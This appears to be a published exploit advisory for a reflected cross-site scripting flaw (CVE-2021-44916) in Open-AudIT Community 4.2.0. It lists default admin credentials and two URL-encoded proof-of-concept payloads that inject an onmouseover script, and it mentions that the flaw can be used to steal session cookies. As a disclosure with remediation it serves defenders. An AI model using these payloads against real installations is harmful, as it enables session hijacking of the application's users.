# Exploit Title: Open-AudIT Community 4.2.0 - Cross-Site Scripting (XSS) (Authenticated) # Date: 01/11/2021 # Exploit Author: Dominic Clark (parzival) # Vendor Homepage: https://opmantek.com/ # Software Link: https://www.open-audit.org/downloads.php # Category: WebApps # Version: <= 4.2.0 # Tested on: Windows 10 # CVE: CVE-2021-44916 # 1. Vendor Description # Open-AudIT is an application to tell you exactly what is on your network, how it is configured and when it changes. # Essentially, Open-AudIT is a database of information, that can be queried via a web interface. # Open-AudIT will run on both Windows and Linux systems. # 2. Technical Description # There is an issue with link creation in the GUI with Open-AudIT Community. # If a bad value is passed to the routine via a URL, javascript code can be executed. # This requires the user be logged in to Open-AudIT Community to trigger. # 3. Proof of Concept # Step 1: Login to Open-AudIT via the login page (default credentials are admin/password) # Step 2: Enter one of the following PoC URLs, this issue was observed to occur any time there is a file available to be imported: (e.g., http://localhost/open-audit/index.php/attributes/import) Vulnerable URL 1: "http://localhost/open-audit/index.php/discoveries/import%22onmouseover%3d%22alert(1)%22style%3d%22position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%22" Vulnerable URL 2: "http://localhost/open-audit/index.php/credentials/import%22onmouseover%3d%22alert(1)%22style%3d%22position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%3btop%3a0%3bleft%3a0%3b%22" # Step 3: Observe that the payload successfully executes and a popup is displayed. # This vulnerability can be exploited in conjuction with a social engineering attack to potentially obtain sensitive information such a users session cookie. # 4. Remediation # Apply the recommended workarounds and mitigations provided by Opmantek. # https://community.opmantek.com/display/OA/Errata+-+4.2.0+and+earlier+Javascript+vulnerability